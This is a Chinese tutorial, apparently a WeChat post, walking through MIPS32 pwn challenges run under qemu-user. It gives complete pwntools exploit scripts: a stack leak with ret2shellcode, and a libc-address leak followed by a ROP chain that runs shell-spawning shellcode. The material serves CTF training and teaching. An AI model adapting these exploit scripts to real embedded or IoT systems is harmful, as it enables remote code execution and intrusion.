ret2shellcode
本篇文章尽量淡化对$s8和$fp这两个寄存器的区分。
和x86 pwn相同,这里先检查可执行文件的保护情况:
什么保护也没有开启,根据我之前做x86的pwn的经验,直接ret2shellcode。放到IDA中查看main的伪代码,如下图所示:
进入getUsername函数,read没有溢出,并且Username要求输入以“admin”为开头的字符串,否则会退出:
该函数返回后会将Username的长度传入checkPassword()中:
先来看第一个read函数,read(0, v2, 36),v2变量的定义为char v2[20],显而易见,该read可以造成栈溢出,可溢出的数据量为16字节。该函数的栈帧如下图所示:
很明显,溢出之后就可以修改传入的passwordLen,这样第二个read:read(0, v4, passwordLen)就会出现任意长度的栈溢出。返回地址和Frame Pointer在该栈帧上的排布如下:
因为checkPassword
函数调用了其他的库函数,所以属于非叶子函数;即,在前面的文章中提到:“如果函数B是非叶子函数,则函数B先从堆栈中取出被保存在堆栈上的返回地址,然后将返回地址存入寄存器$ra,再使用jr $ra
指令返回函数A”,所以我们只需要溢出修改上图的return_addr即可
。在x86中,针对ret2shellcode这种攻击手段有两种方式:
将shellcode写到已知地址并且具有可执行权限的内存区域中,然后劫持返回地址到该地址执行shellcode
若栈地址未知,直接将shellcode写到返回地址的后面,将返回地址覆盖为gadgetpop eip
的地址,这样返回后就能执行shellcode 了。
首先排除第2种利用方法,因为MIPS指令集中并没有push和pop指令,所以我们只能使用第一种方法,在本题中要求我们需要泄露出栈地址。注意到getUsername
有printf函数,我们只需要将v1填满(避免printf遇到x00截断)就可以泄露出栈底地址与return_addr
(非所在的栈地址):
from pwn import *
import sys
context.arch = "mips"
context.endian = 'little'
context.log_level = 'debug'
try:
if(sys.argv[1] == "g"):
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])
elif(sys.argv[1] == "l"):
p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])
else:
raise(Exception)
except:
print("<usage: python exp (your choice)>")
exit(0)
p.recvuntil(b"Username : ")
p.send(b"admin".ljust(24, b"a"))
p.recvuntil((24-len(b"admin"))*b'a')
print(p.recv())
p.close()
根据栈帧平衡,getUsername与checkPassword的返回地址与栈底地址所处的位置相同:
所以shellcode的地址为0x7FFFEFB0。exp如下:
from pwn import *
import sys
context.arch = "mips"
context.endian = 'little'
context.log_level = 'debug'
try:
if(sys.argv[1] == "g"):
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])
elif(sys.argv[1] == "l"):
p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])
else:
raise(Exception)
except:
print("<usage: python exp (your choice)>")
exit(0)
p.recvuntil(b"Username : ")
p.send(b"admin".ljust(24, b"a"))
p.recvuntil((24-len(b"admin"))*b'a')
leak_addr = (u32(p.recv(4)))
log.info("leak addr is {}".format(hex(leak_addr)))
p.recvuntil(b"Pre_Password : ")
p.send(b'access'+b'a'*14+p32(0x100))
p.recvuntil("Password : ")
p.send(b"0123456789".ljust(40, b"b")+p32(leak_addr)+asm(shellcraft.sh())) # 将返回地址更改为leak_addr
p.interactive()
ret2libc
qemu-user
进行checksec检查,发现开启了PIE和RELRO保护:
我们都知道,地址随机化只是保持低12位不变,高位还是会随机变的;但是这里需要注意的是,在强网比赛的时候环境是使用qemu-user模拟的,所以PIE保护是不会生效的,也就是说libc的地址固定不变。对eserver进行逆向分析,可以得到如下结论:
main函数存在栈溢出。
main函数存在后门函数backdoor。
backdoor函数只能调用一次。
其中后门函数backdoor可以泄露出read函数的后3字节地址(低18位)中的任意一个字节:
因为该程序由qemu-user模拟,所以无论你重启多少次程序,read函数的地址永远不变。即,我们要启动3次程序以泄露出read函数的后三位真实地址,这一部分的代码如下:
from pwn import *
context.arch = "mips"
context.endian = 'little'
readOffset_True = 0
libc = ELF("./lib/libc.so.6")
for i in range(3):
p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])
p.sendlineafter("Input package: ","Administrator")
log.info(p.recv())
sleep(0.1)
p.sendlineafter("Input package: ",str(i))
p.recvuntil("Response package: ")
leak_byte = u8(p.recv(1))
print(leak_byte)
readOffset_True += (leak_byte << (8*i))
p.close()
print(hex(readOffset_True))
对照一下本题的libc:
现在我们知道了两个地址:
-
程序运行时read函数的真实地址的后3字节:
0x6FBEA4
。 -
read函数在文件中的偏移为
0xDDEA4
但是根据这些我们仍然无法完全得知libc代码段的基地址,只能得到后三位为0x6FBEA4 - 0xDDEA4 == 0x61e000
。正好,使用qemu-user模拟的程序其动态链接库都会加载到0x7f000000
到0x80000000
范围之内,那这不就简单了,read函数的完整地址应为0x7f000000 + 0x61e000 == 0x7f61e000
。
下面开始利用,程序没有开启NX保护,我们还是可以ret2shellcode
;但是我们无法像之前得知栈地址,因此需要走一些弯路找gadgets。这里就使用IDA的mipsrop插件好了
mipsrop插件:https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py
下载完成之后放到IDA的plugins目录,用IDA打开题目自带的libc.so.6,点击search->mips rop gadgets
,然后在最下面的python代码框中键入mipsrop.find(<要寻找的gadget>)以寻找相应的gadgets。我们直接来看看exp是怎么写的,首先计算出libc代码段的基地址以及其他所需gadgets的真实地址:
print(hex(readOffset_True))
readOffset_Libc = libc.symbols['read']
libcCodeBase = readOffset_True - readOffset_Libc
FullLibcCodeBase = 0x7f000000 + libcCodeBase
log.success(hex(FullLibcCodeBase))
# 所有的地址都不会变化
p = process(["qemu-mipsel-static", "-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBase
jalr_t9_gadget = 0x11C68C + FullLibcCodeBase
addiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase
我们跟着gadgets了解下getshell的流程,溢出后栈布局为:
shellcode = asm(shellcraft.sh())
padding = b"TruE"
payload = b'a'*504
payload += b'b'*4 # $fp
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*44
payload += padding # s0
payload += padding # s1
payload += padding # s2
payload += p32(jalr_t9_gadget) # s3
payload += p32(addiu_a1_sp_24_gadget)
payload += b'd'*24
payload += shellcode
首先执行lw_s3_gadget,根据栈与gadget,有:
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"】
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"】
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"】
# .text:000A0C90 jr $ra 【调用addiu_a1_sp_24_gadget】
'''
跳转到addiu_a1_sp_24_gadget执行:
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24 【$a1 = $sp + 24】
# .text:000F60D8 move $t9, $s3 【$t9 == &jalr_t9_gadget】
# .text:000F60DC jalr $t9 【调用jalr_t9_gadget】
'''
最后到jalr_t9_gadget:
'''
jalr_t9_gadget
# .text:0011C68C move $t9, $a1 【$t9 == $a1 == $sp + 24】
# .text:0011C690 move $a1, $a0 【$a1 == $a0 == 未知】
# .text:0011C694 jalr $t9 【???】
'''
不是,这后半部分的调用我怎么没有看懂呢?最后的jalr到底调用了什么呢?正常来说经过第二个gadget后$a1应该指向的是shellcode的地址,但是根据上面的汇编,$a1怎么可能指向shellcode,他又没有改变$sp寄存器?到这里暂停一下,先来看一个之前文章中出现的例子:
// mipsel-linux-gnu-gcc -g -fno-stack-protector -z execstack -no-pie -z norelro leaf_function.c -o leaf_function_MIPSEL_32
char* child1_func1(char* buffer){
return buffer;
}
void parent_func(){
char *name = "cyberangel";
printf("I'm parent functionn");
printf("%s",child1_func1(name));
}
int main(){
parent_func();
return 0;
}
下面是parent_func函数的汇编代码,可以看到每一条调用函数的jalr(jal)之后都紧跟着一个nop指令:
但是你真的在意过这些nop指令的作用吗?我们可以将任意一个函数后面的nop改为其他不影响程序执行流程的指令,这里就改jal child1_func1的nop吧,改为move $a1, $a0
将此可执行文件导出,使用IDA调试:
现在$a0与$a1的寄存器值分别为0x004009F0与0xFFFFFFFF,按下F7单步步入:
现在$a1的值同样变化为0x4009F0,说明程序在执行child1_func函数的第一条指令之前提前执行了move $a1, $a0,这也就是为什么每条调用函数的汇编指令之后紧跟着一个nop而非其他指令 -- 不进行任何操作;出现这种情况的原因似乎与MIPS架构的流水线特性有关...函数返回后retn到&jal+8处继续执行。
其实前面所展示的gadgets是省略的,都缺少了调用指令之后的那条指令,回过头来看我们的gadgets,首先是:
哎,这就对味了嘛(下面的代码框以$sp为基准):
# 执行前
payload += b'c'*44
payload += padding # s0(4字节,下同)
payload += padding # s1
payload += padding # s2
payload += p32(jalr_t9_gadget) # s3
payload += p32(addiu_a1_sp_24_gadget)
payload += b'd'*24
payload += shellcode
# 执行后
payload += b'd'*24
payload += shellcode
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"】
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"】
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"】
# .text:000A0C90 jr $ra 【调用addiu_a1_sp_24_gadget】
# .text:000A0C94 addiu $sp, 0x40
'''
执行addiu_a1_sp_24_gadget:
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24 【$a1 = $sp + 24 = &shellcode】
# .text:000F60D8 move $t9, $s3 【$t9 == &jalr_t9_gadget】
# .text:000F60DC jalr $t9 【调用jalr_t9_gadget】
# .text:000F60E0 li $a0, 0x1D
'''
执行后$a1指向shellcode的起始地址,最后执行jalr_t9_gadget:
printf("hello world!");
最后需要让程序退出以触发payload,完整exp如下:
from pwn import *
context.arch = "mips"
context.endian = 'little'
readOffset_True = 0
libc = ELF("./lib/libc.so.6")
for i in range(3):
p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])
p.sendlineafter("Input package: ","Administrator")
log.info(p.recv())
sleep(0.1)
p.sendlineafter("Input package: ",str(i))
p.recvuntil("Response package: ")
leak_byte = u8(p.recv(1))
readOffset_True += (leak_byte << (8*i))
p.close()
print(hex(readOffset_True))
readOffset_Libc = libc.symbols['read']
libcCodeBase = readOffset_True - readOffset_Libc
FullLibcCodeBase = 0x7f000000 + libcCodeBase
log.success(hex(FullLibcCodeBase))
# -----------------------------------------------------------
p = process(["qemu-mipsel-static","-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBase
jalr_t9_gadget = 0x11C68C + FullLibcCodeBase
addiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504
payload += b'b'*4 # $fp
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp)
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp)
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp)
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp)
# .text:000A0C90 jr $ra
# .text:000A0C94 addiu $sp, 0x40
'''
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*44
payload += padding # s0
payload += padding # s1
payload += padding # s2
'''
jalr_t9_gadget
# .text:0011C68C move $t9, $a1
# .text:0011C690 move $a1, $a0
# .text:0011C694 jalr $t9
# .text:0011C698 move $a0, $v1
'''
payload += p32(jalr_t9_gadget) # s3
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24
# .text:000F60D8 move $t9, $s3
# .text:000F60DC jalr $t9
# .text:000F60E0 li $a0, 0x1D
'''
payload += p32(addiu_a1_sp_24_gadget)
payload += b'd'*24
payload += shellcode
p.sendlineafter('Input package: ', payload)
p.sendlineafter('Input package: ', 'EXIT')
p.interactive()
最后出现ls: write error: Bad file descriptor的错误,这是因为程序在最后关闭了标准输出:
我们只需要将流重定向到stderr就行:ls 1>&2
另外,pwndbg的vmmap命令不支持qemu-user(无法查看内存布局),并且无法对函数直接下断点(b main),总之局限性非常大:
cyberangel@cyberangel:~/Desktop/MIPS_PWN/eserver$ qemu-mipsel-static -g 1234 -L . ./eserver
----------------------------------------------------------------------------------------------------------------
gdb-multiarch
$ set arch mips
$ set endian little
$ target remote localhost:1234
$ file ./eserver
$ b main 【Breakpoint 1 at 0xfe0】
$ c 【直接跑飞,无法断下】
要想能正常调试还得看我qemu-system。
由于文章字数受限
可点击下方【阅读原文】阅读全篇。
原文始发于微信公众号(IOTsec Zone):物联网安全入门丨异构PWN(MIPS32)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论